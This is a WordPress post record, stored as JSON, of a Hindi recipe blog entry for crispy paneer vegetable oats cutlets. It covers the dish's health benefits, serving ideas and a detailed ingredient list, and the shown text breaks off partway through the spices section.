{"id":752,"date":"2026-02-23T11:35:47","date_gmt":"2026-02-23T06:05:47","guid":{"rendered":"https:\/\/simplereceipes.in\/?p=752"},"modified":"2026-04-07T13:56:41","modified_gmt":"2026-04-07T08:26:41","slug":"11-%e0%a4%9c%e0%a4%ac%e0%a4%b0%e0%a4%a6%e0%a4%b8%e0%a5%8d%e0%a4%a4-%e0%a4%b8%e0%a5%8d%e0%a4%9f%e0%a5%87%e0%a4%aa%e0%a5%8d%e0%a4%b8-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%ac%e0%a4%a8%e0%a4%be%e0%a4%8f","status":"publish","type":"post","link":"https:\/\/simplereceipes.in\/en\/11-%e0%a4%9c%e0%a4%ac%e0%a4%b0%e0%a4%a6%e0%a4%b8%e0%a5%8d%e0%a4%a4-%e0%a4%b8%e0%a5%8d%e0%a4%9f%e0%a5%87%e0%a4%aa%e0%a5%8d%e0%a4%b8-%e0%a4%ae%e0%a5%87%e0%a4%82-%e0%a4%ac%e0%a4%a8%e0%a4%be%e0%a4%8f\/","title":{"rendered":"11 \u091c\u092c\u0930\u0926\u0938\u094d\u0924 \u0938\u094d\u091f\u0947\u092a\u094d\u0938 \u092e\u0947\u0902 \u092c\u0928\u093e\u090f\u0902 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u2013 \u0939\u0947\u0932\u094d\u0926\u0940, \u091f\u0947\u0938\u094d\u091f\u0940 \u0914\u0930 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0940 \u0938\u0941\u092a\u0930\u092b\u0947\u0935\u0930\u0947\u091f"},"content":{"rendered":"\n<p>\u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940  \u090f\u0915 \u0939\u0947\u0932\u094d\u0926\u0940, \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0930\u093f\u091a \u0914\u0930 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0938\u094d\u0928\u0948\u0915 \u0939\u0948\u0964 \u091c\u093e\u0928\u093f\u090f 11 \u0906\u0938\u093e\u0928 \u0938\u094d\u091f\u0947\u092a\u094d\u0938 \u092e\u0947\u0902 \u0918\u0930 \u092a\u0930 \u092c\u0928\u093e\u090f\u0902 \u092c\u091a\u094d\u091a\u094b\u0902 \u0914\u0930 \u092c\u0921\u093c\u094b\u0902 \u0915\u0940 \u092b\u0947\u0935\u0930\u0947\u091f \u092a\u0928\u0940\u0930 \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f, \u091c\u094b \u0935\u0947\u091f \u0932\u0949\u0938 \u0914\u0930 \u091f\u093f\u092b\u093f\u0928 \u0915\u0947 \u0932\u093f\u090f \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u092a\u0930\u093f\u091a\u092f <\/h2>\n\n\n\n<p>\u0906\u091c \u0915\u0940 \u0924\u0947\u091c\u093c \u0930\u092b\u094d\u0924\u093e\u0930 \u091c\u093f\u0902\u0926\u0917\u0940 \u092e\u0947\u0902 \u0939\u0930 \u0915\u094b\u0908 \u0910\u0938\u093e \u0928\u093e\u0936\u094d\u0924\u093e \u0914\u0930 \u0938\u094d\u0928\u0948\u0915 \u091a\u093e\u0939\u0924\u093e \u0939\u0948 \u091c\u094b <strong>\u0939\u0947\u0932\u094d\u0926\u0940, \u091f\u0947\u0938\u094d\u091f\u0940, \u091c\u0932\u094d\u0926\u0940 \u092c\u0928\u0928\u0947 \u0935\u093e\u0932\u093e \u0914\u0930 \u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u0947 \u0939\u0930 \u0938\u0926\u0938\u094d\u092f \u0915\u0947 \u0932\u093f\u090f \u0909\u092a\u092f\u0941\u0915\u094d\u0924<\/strong> \u0939\u094b\u0964\u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940  \u092c\u0926\u0932\u0924\u0940 \u0932\u093e\u0907\u092b\u0938\u094d\u091f\u093e\u0907\u0932, \u092c\u0922\u093c\u0924\u093e \u091c\u0902\u0915 \u092b\u0942\u0921 \u0915\u0902\u091c\u092e\u094d\u092a\u094d\u0936\u0928 \u0914\u0930 \u092b\u093f\u091f\u0928\u0947\u0938 \u0915\u0947 \u092a\u094d\u0930\u0924\u093f \u091c\u093e\u0917\u0930\u0942\u0915\u0924\u093e \u0928\u0947 \u0932\u094b\u0917\u094b\u0902 \u0915\u094b \u092a\u093e\u0930\u0902\u092a\u0930\u093f\u0915 \u0924\u0932\u0940-\u092d\u0941\u0928\u0940 \u091a\u0940\u091c\u093c\u094b\u0902 \u0915\u0940 \u091c\u0917\u0939 \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u0935\u093f\u0915\u0932\u094d\u092a \u0916\u094b\u091c\u0928\u0947 \u092a\u0930 \u092e\u091c\u092c\u0942\u0930 \u0915\u0930 \u0926\u093f\u092f\u093e \u0939\u0948\u0964 \u0907\u0938\u0940 \u091c\u0930\u0942\u0930\u0924 \u0915\u094b \u092a\u0942\u0930\u093e \u0915\u0930\u0924\u0940 \u0939\u0948 \u2014 <strong>\u092a\u0928\u0940\u0930 \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940<\/strong>\u0964<\/p>\n\n\n\n<p>\u092f\u0939 \u0938\u093f\u0930\u094d\u092b \u090f\u0915 \u0938\u093e\u0927\u093e\u0930\u0923 \u0938\u094d\u0928\u0948\u0915 \u0928\u0939\u0940\u0902, \u092c\u0932\u094d\u0915\u093f \u0938\u094d\u0935\u093e\u0926 \u0914\u0930 \u0938\u0947\u0939\u0924 \u0915\u093e \u0938\u0902\u0924\u0941\u0932\u093f\u0924 \u092e\u0947\u0932 \u0939\u0948\u0964 \u0913\u091f\u094d\u0938 \u0915\u093e \u092b\u093e\u0907\u092c\u0930 \u0914\u0930 \u092a\u0928\u0940\u0930 \u0915\u093e \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u092e\u093f\u0932\u0915\u0930 \u0907\u0938\u0947 \u090f\u0915 \u092a\u0930\u092b\u0947\u0915\u094d\u091f <strong>\u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0930\u093f\u091a \u0935\u0947\u091c\u093f\u091f\u0947\u0930\u093f\u092f\u0928 \u0938\u094d\u0928\u0948\u0915<\/strong> \u092c\u0928\u093e\u0924\u0947 \u0939\u0948\u0902\u0964 \u0906\u091c\u0915\u0932 \u0917\u0942\u0917\u0932 \u092a\u0930 \u201chealthy evening snacks\u201d, \u201cweight loss veg snack recipe\u201d, \u201ckids tiffin healthy recipe\u201d, \u201cprotein rich indian snacks\u201d \u091c\u0948\u0938\u0947 \u0915\u0940\u0935\u0930\u094d\u0921 \u0924\u0947\u091c\u0940 \u0938\u0947 \u0938\u0930\u094d\u091a \u0939\u094b \u0930\u0939\u0947 \u0939\u0948\u0902\u0964 \u0910\u0938\u0947 \u092e\u0947\u0902 \u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u0906\u092a\u0915\u0947 \u092c\u094d\u0932\u0949\u0917 \u0915\u0947 \u0932\u093f\u090f \u092d\u0940 High Ranking Potential \u0930\u0916\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u0915\u094d\u092f\u094b\u0902 \u0939\u0948 \u092f\u0939 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\u0938\u094d\u0928\u0948\u0915<\/li>\n\n\n\n<li>\u0939\u093e\u0908 \u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u092b\u0942\u0921<\/li>\n\n\n\n<li>\u0917\u094d\u0932\u0942\u091f\u0947\u0928 \u092b\u094d\u0930\u0940 \u0911\u092a\u094d\u0936\u0928<\/li>\n\n\n\n<li>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u091f\u093f\u092b\u093f\u0928<\/li>\n<\/ul>\n\n\n\n<p>\u091c\u0948\u0938\u0947 \u0935\u093f\u0915\u0932\u094d\u092a \u0922\u0942\u0902\u0922 \u0930\u0939\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<p><strong>\u092a\u0928\u0940\u0930 \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940<\/strong> \u0907\u0928 \u0938\u092d\u0940 \u091c\u0930\u0942\u0930\u0924\u094b\u0902 \u0915\u094b \u090f\u0915 \u0938\u093e\u0925 \u092a\u0942\u0930\u093e \u0915\u0930\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0915\u094d\u092f\u094b\u0902 \u092a\u0930\u092b\u0947\u0915\u094d\u091f?<\/h3>\n\n\n\n<p>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u094b \u0906\u092e\u0924\u094c\u0930 \u092a\u0930 \u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902 \u092a\u0938\u0902\u0926 \u0928\u0939\u0940\u0902 \u0906\u0924\u0940\u0902\u0964 \u0932\u0947\u0915\u093f\u0928 \u091c\u092c \u0935\u0939\u0940 \u0938\u092c\u094d\u091c\u093f\u092f\u093e\u0902 \u0938\u094d\u0935\u093e\u0926\u093f\u0937\u094d\u091f \u0915\u091f\u0932\u0947\u091f \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0902, \u0924\u094b \u0935\u0947 \u0906\u0938\u093e\u0928\u0940 \u0938\u0947 \u0916\u093e \u0932\u0947\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u0928\u0940\u0930 \u0938\u0947 \u0939\u0921\u094d\u0921\u093f\u092f\u093e\u0902 \u092e\u091c\u092c\u0942\u0924<\/li>\n\n\n\n<li>\u0913\u091f\u094d\u0938 \u0938\u0947 \u092a\u093e\u091a\u0928 \u092c\u0947\u0939\u0924\u0930<\/li>\n\n\n\n<li>\u0938\u092c\u094d\u091c\u093f\u092f\u094b\u0902 \u0938\u0947 \u0935\u093f\u091f\u093e\u092e\u093f\u0928<\/li>\n<\/ul>\n\n\n\n<p>\u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u091f\u093f\u092b\u093f\u0928 \u092c\u0949\u0915\u094d\u0938 \u0915\u0947 \u0932\u093f\u090f \u090f\u0915 \u0936\u093e\u0928\u0926\u093e\u0930 \u0935\u093f\u0915\u0932\u094d\u092a \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> \u092b\u093f\u091f\u0928\u0947\u0938 \u0914\u0930 \u0935\u0947\u091f \u0932\u0949\u0938 \u0915\u0947 \u0932\u093f\u090f \u0915\u094d\u092f\u094b\u0902 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926?<\/h3>\n\n\n\n<p>\u0905\u0917\u0930 \u0906\u092a \u0935\u091c\u0928 \u0915\u092e \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902 \u092f\u093e \u092b\u093f\u091f\u0928\u0947\u0938 \u092a\u0930 \u0927\u094d\u092f\u093e\u0928 \u0926\u0947 \u0930\u0939\u0947 \u0939\u0948\u0902, \u0924\u094b \u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u0906\u092a\u0915\u0947 \u0932\u093f\u090f \u0906\u0926\u0930\u094d\u0936 \u0939\u0948\u0964<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0915\u092e \u0924\u0947\u0932<\/li>\n\n\n\n<li>\u091c\u094d\u092f\u093e\u0926\u093e \u092a\u094d\u0930\u094b\u091f\u0940\u0928<\/li>\n\n\n\n<li>\u091c\u094d\u092f\u093e\u0926\u093e \u092b\u093e\u0907\u092c\u0930<\/li>\n\n\n\n<li>\u0932\u0902\u092c\u0947 \u0938\u092e\u092f \u0924\u0915 \u092a\u0947\u091f \u092d\u0930\u093e \u0930\u0916\u0947<\/li>\n<\/ul>\n\n\n\n<p>\u092f\u0939 \u091c\u0902\u0915 \u092b\u0942\u0921 \u0915\u093e \u0939\u0947\u0932\u094d\u0926\u0940 \u0935\u093f\u0915\u0932\u094d\u092a \u0939\u0948 \u0914\u0930 \u0936\u093e\u092e \u0915\u0940 \u092d\u0942\u0916 \u0915\u094b \u0915\u0902\u091f\u094d\u0930\u094b\u0932 \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0939\u0930 \u092e\u094c\u0915\u0947 \u0915\u0947 \u0932\u093f\u090f \u092a\u0930\u092b\u0947\u0915\u094d\u091f<\/h3>\n\n\n\n<p>\u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940\u0938\u093f\u0930\u094d\u092b \u090f\u0915 \u0936\u093e\u092e \u0915\u093e \u0938\u094d\u0928\u0948\u0915 \u0928\u0939\u0940\u0902 \u0939\u0948\u0964 \u0906\u092a \u0907\u0938\u0947:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u093e\u0930\u094d\u091f\u0940 \u0938\u094d\u091f\u093e\u0930\u094d\u091f\u0930<\/li>\n\n\n\n<li>\u0911\u092b\u093f\u0938 \u0932\u0902\u091a \u092c\u0949\u0915\u094d\u0938<\/li>\n\n\n\n<li>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u091f\u093f\u092b\u093f\u0928<\/li>\n\n\n\n<li>\u092e\u0949\u0930\u094d\u0928\u093f\u0902\u0917 \u092c\u094d\u0930\u0947\u0915\u092b\u093e\u0938\u094d\u091f<\/li>\n\n\n\n<li>\u091a\u093e\u092f \u0915\u0947 \u0938\u093e\u0925 \u0938\u094d\u0928\u0948\u0915<\/li>\n<\/ul>\n\n\n\n<p>\u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u092a\u0930\u094b\u0938 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0906\u0935\u0936\u094d\u092f\u0915 \u0938\u093e\u092e\u0917\u094d\u0930\u0940 (Ultra Detailed \u2013 SEO Optimized)<\/h3>\n\n\n\n<p>\u092f\u0939\u093e\u0901 \u0926\u0940 \u0917\u0908 \u0938\u093e\u092e\u0917\u094d\u0930\u0940\u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940 \u0915\u094b \u0938\u094d\u0935\u093e\u0926\u093f\u0937\u094d\u091f, \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0914\u0930 \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u092c\u0928\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0938\u0902\u0924\u0941\u0932\u093f\u0924 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0924\u0948\u092f\u093e\u0930 \u0915\u0940 \u0917\u0908 \u0939\u0948\u0964 \u0939\u0930 \u0938\u093e\u092e\u0917\u094d\u0930\u0940 \u0915\u093e \u0905\u092a\u0928\u093e \u092a\u094b\u0937\u0923 \u0914\u0930 \u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u092e\u0947\u0902 \u092f\u094b\u0917\u0926\u093e\u0928 \u0939\u0948, \u0907\u0938\u0932\u093f\u090f \u0938\u0939\u0940 \u0905\u0928\u0941\u092a\u093e\u0924 \u0930\u0916\u0928\u093e \u091c\u093c\u0930\u0942\u0930\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0913\u091f\u094d\u0938 \u2013 1 \u0915\u092a (\u0932\u0917\u092d\u0917 80\u2013100 \u0917\u094d\u0930\u093e\u092e)<\/h3>\n\n\n\n<p><strong>\u0915\u0948\u0938\u0947 \u0909\u092a\u092f\u094b\u0917 \u0915\u0930\u0947\u0902:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0930\u094b\u0932\u094d\u0921 \u0913\u091f\u094d\u0938 \u092f\u093e \u0915\u094d\u0935\u093f\u0915 \u0913\u091f\u094d\u0938 \u0926\u094b\u0928\u094b\u0902 \u091a\u0932\u0947\u0902\u0917\u0947\u0964<\/li>\n\n\n\n<li>\u092a\u0939\u0932\u0947 \u0938\u0942\u0916\u0940 \u0915\u0922\u093c\u093e\u0939\u0940 \u092e\u0947\u0902 2\u20133 \u092e\u093f\u0928\u091f \u0939\u0932\u094d\u0915\u093e \u092d\u0942\u0928 \u0932\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0920\u0902\u0921\u093e \u0939\u094b\u0928\u0947 \u092a\u0930 \u092e\u093f\u0915\u094d\u0938\u0930 \u092e\u0947\u0902 \u0926\u0930\u0926\u0930\u093e \u092a\u093e\u0909\u0921\u0930 \u092c\u0928\u093e \u0932\u0947\u0902 (\u092a\u0942\u0930\u0940 \u0924\u0930\u0939 \u092e\u0939\u0940\u0928 \u0928\u0939\u0940\u0902)\u0964<\/li>\n<\/ul>\n\n\n\n<p><strong>\u0915\u094d\u092f\u094b\u0902 \u091c\u093c\u0930\u0942\u0930\u0940 \u0939\u0948:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092b\u093e\u0907\u092c\u0930 \u0938\u0947 \u092d\u0930\u092a\u0942\u0930<\/li>\n\n\n\n<li>\u092a\u0947\u091f \u0932\u0902\u092c\u0947 \u0938\u092e\u092f \u0924\u0915 \u092d\u0930\u093e \u0930\u0916\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>\u0915\u091f\u0932\u0947\u091f \u0915\u094b \u092c\u093e\u0907\u0902\u0921 \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>\u092c\u094d\u0930\u0947\u0921 \u0915\u094d\u0930\u092e\u094d\u092c\u094d\u0938 \u0915\u093e \u0939\u0947\u0932\u094d\u0926\u0940 \u0935\u093f\u0915\u0932\u094d\u092a<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u092a\u0928\u0940\u0930 \u2013 1 \u0915\u092a (150\u2013200 \u0917\u094d\u0930\u093e\u092e, \u0915\u0926\u094d\u0926\u0942\u0915\u0938 \u0915\u093f\u092f\u093e \u0939\u0941\u0906)<\/h3>\n\n\n\n<p><strong>\u0915\u0948\u0938\u0947 \u091a\u0941\u0928\u0947\u0902:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0924\u093e\u091c\u093c\u093e, \u092e\u0941\u0932\u093e\u092f\u092e \u092a\u0928\u0940\u0930 \u0932\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0932\u094b-\u092b\u0948\u091f \u092a\u0928\u0940\u0930 \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u0935\u093e\u0932\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092c\u0947\u0939\u0924\u0930\u0964<\/li>\n<\/ul>\n\n\n\n<p><strong>\u092d\u0942\u092e\u093f\u0915\u093e:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u094d\u0930\u094b\u091f\u0940\u0928 \u0915\u093e \u092e\u0941\u0916\u094d\u092f \u0938\u094d\u0930\u094b\u0924<\/li>\n\n\n\n<li>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0938\u0947 \u092d\u0930\u092a\u0942\u0930<\/li>\n\n\n\n<li>\u0915\u091f\u0932\u0947\u091f \u0915\u094b \u0938\u0949\u092b\u094d\u091f \u0914\u0930 \u0930\u093f\u091a \u092c\u0928\u093e\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0909\u092c\u0932\u093e \u0906\u0932\u0942 \u2013 1 \u092e\u0927\u094d\u092f\u092e \u0906\u0915\u093e\u0930<\/h3>\n\n\n\n<p><strong>\u0915\u0948\u0938\u0947 \u0924\u0948\u092f\u093e\u0930 \u0915\u0930\u0947\u0902:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0905\u091a\u094d\u091b\u0940 \u0924\u0930\u0939 \u0909\u092c\u093e\u0932\u0947\u0902<\/li>\n\n\n\n<li>\u091b\u0940\u0932\u0915\u0930 \u092e\u0948\u0936 \u0915\u0930\u0947\u0902<\/li>\n\n\n\n<li>\u092a\u093e\u0928\u0940 \u092c\u093f\u0932\u094d\u0915\u0941\u0932 \u0928 \u0930\u0939\u0947<\/li>\n<\/ul>\n\n\n\n<p><strong>\u0915\u094d\u092f\u094b\u0902 \u091c\u093c\u0930\u0942\u0930\u0940:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092c\u093e\u0907\u0902\u0921\u093f\u0902\u0917 \u092e\u0947\u0902 \u092e\u0926\u0926<\/li>\n\n\n\n<li>\u0905\u0902\u0926\u0930 \u0938\u0947 \u0938\u0949\u092b\u094d\u091f \u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u0926\u0947\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u091f\u093f\u092a: \u0935\u091c\u0928 \u0918\u091f\u093e\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u0906\u0932\u0942 \u0915\u092e \u0915\u0930\u0947\u0902 \u0914\u0930 \u0913\u091f\u094d\u0938 \u092c\u0922\u093c\u093e\u090f\u0902\u0964<\/p>\n<\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0917\u093e\u091c\u0930 \u2013 \u00bc \u0915\u092a (\u092c\u093e\u0930\u0940\u0915 \u0915\u0926\u094d\u0926\u0942\u0915\u0938)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 A \u0938\u0947 \u092d\u0930\u092a\u0942\u0930<\/li>\n\n\n\n<li>\u0939\u0932\u094d\u0915\u0940 \u092e\u093f\u0920\u093e\u0938 \u0914\u0930 \u0930\u0902\u0917 \u0926\u0947\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0906\u0915\u0930\u094d\u0937\u0915 \u092c\u0928\u093e\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0936\u093f\u092e\u0932\u093e \u092e\u093f\u0930\u094d\u091a \u2013 \u00bc \u0915\u092a (\u092c\u093e\u0930\u0940\u0915 \u0915\u091f\u0940)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 C \u0915\u093e \u0938\u094d\u0930\u094b\u0924<\/li>\n\n\n\n<li>\u0939\u0932\u094d\u0915\u0940 \u0915\u094d\u0930\u0902\u091a\u0940 \u091f\u0947\u0915\u094d\u0938\u091a\u0930<\/li>\n\n\n\n<li>\u0930\u0902\u0917 \u0914\u0930 \u0938\u094d\u0935\u093e\u0926 \u092c\u0922\u093c\u093e\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<div class=\"wp-block-cover\"><img fetchpriority=\"high\" decoding=\"async\" width=\"800\" height=\"800\" class=\"wp-block-cover__image-background wp-image-754\" alt=\"\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/60276119.cms_.jpg\" data-object-fit=\"cover\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/60276119.cms_.jpg 800w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/60276119.cms_-300x300.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/60276119.cms_-150x150.jpg 150w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/60276119.cms_-768x768.jpg 768w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/60276119.cms_-12x12.jpg 12w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-text-align-center has-large-font-size\">\u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u092a\u0928\u0940\u0930 \u0935\u0947\u091c \u0913\u091f\u094d\u0938 \u0915\u091f\u0932\u0947\u091f \u0930\u0947\u0938\u093f\u092a\u0940<\/p>\n<\/div><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">\u0909\u092c\u0932\u0940 \u0939\u0930\u0940 \u092e\u091f\u0930 \u2013 2\u20133 \u092c\u0921\u093c\u0947 \u091a\u092e\u094d\u092e\u091a<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u094d\u0932\u093e\u0902\u091f \u092a\u094d\u0930\u094b\u091f\u0940\u0928<\/li>\n\n\n\n<li>\u0939\u0932\u094d\u0915\u0940 \u092e\u093f\u0920\u093e\u0938<\/li>\n\n\n\n<li>\u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u092e\u0947\u0902 \u0935\u0948\u0930\u093e\u092f\u091f\u0940<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0939\u0930\u093e \u0927\u0928\u093f\u092f\u093e \u2013 2 \u092c\u0921\u093c\u0947 \u091a\u092e\u094d\u092e\u091a (\u092c\u093e\u0930\u0940\u0915 \u0915\u091f\u093e)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0924\u093e\u091c\u0917\u0940 \u0914\u0930 \u0938\u0941\u0917\u0902\u0927<\/li>\n\n\n\n<li>\u0921\u093e\u0907\u091c\u0947\u0936\u0928 \u092e\u0947\u0902 \u092e\u0926\u0926<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0939\u0930\u0940 \u092e\u093f\u0930\u094d\u091a \u2013 1 (\u092c\u093e\u0930\u0940\u0915 \u0915\u091f\u0940)<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0939\u0932\u094d\u0915\u0940 \u0924\u0940\u0916\u093e\u092a\u0928<\/li>\n\n\n\n<li>\u0938\u094d\u0935\u093e\u0926 \u0938\u0902\u0924\u0941\u0932\u0928<\/li>\n<\/ul>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u091b\u094b\u0921\u093c \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n<\/blockquote>\n\n\n\n<h3 class=\"wp-block-heading\">\u0905\u0926\u0930\u0915-\u0932\u0939\u0938\u0941\u0928 \u092a\u0947\u0938\u094d\u091f \u2013 1 \u091b\u094b\u091f\u093e \u091a\u092e\u094d\u092e\u091a<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u093e\u091a\u0928 \u092e\u0947\u0902 \u092e\u0926\u0926<\/li>\n\n\n\n<li>\u092b\u094d\u0932\u0947\u0935\u0930 \u092c\u0922\u093c\u093e\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u092e\u0938\u093e\u0932\u0947<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0928\u092e\u0915 \u2013 \u0938\u094d\u0935\u093e\u0926\u093e\u0928\u0941\u0938\u093e\u0930<\/li>\n\n\n\n<li>\u0915\u093e\u0932\u0940 \u092e\u093f\u0930\u094d\u091a \u2013 \u00bd \u091a\u092e\u094d\u092e\u091a<\/li>\n\n\n\n<li>\u0932\u093e\u0932 \u092e\u093f\u0930\u094d\u091a \u092a\u093e\u0909\u0921\u0930 \u2013 \u00bd \u091a\u092e\u094d\u092e\u091a<\/li>\n\n\n\n<li>\u0917\u0930\u092e \u092e\u0938\u093e\u0932\u093e \u2013 \u00bc \u091a\u092e\u094d\u092e\u091a<\/li>\n\n\n\n<li>\u091a\u093e\u091f \u092e\u0938\u093e\u0932\u093e \u2013 \u00bd \u091a\u092e\u094d\u092e\u091a (\u0911\u092a\u094d\u0936\u0928\u0932)<\/li>\n<\/ul>\n\n\n\n<p><strong>\u092d\u0942\u092e\u093f\u0915\u093e:<\/strong><\/p>\n\n\n\n<ul 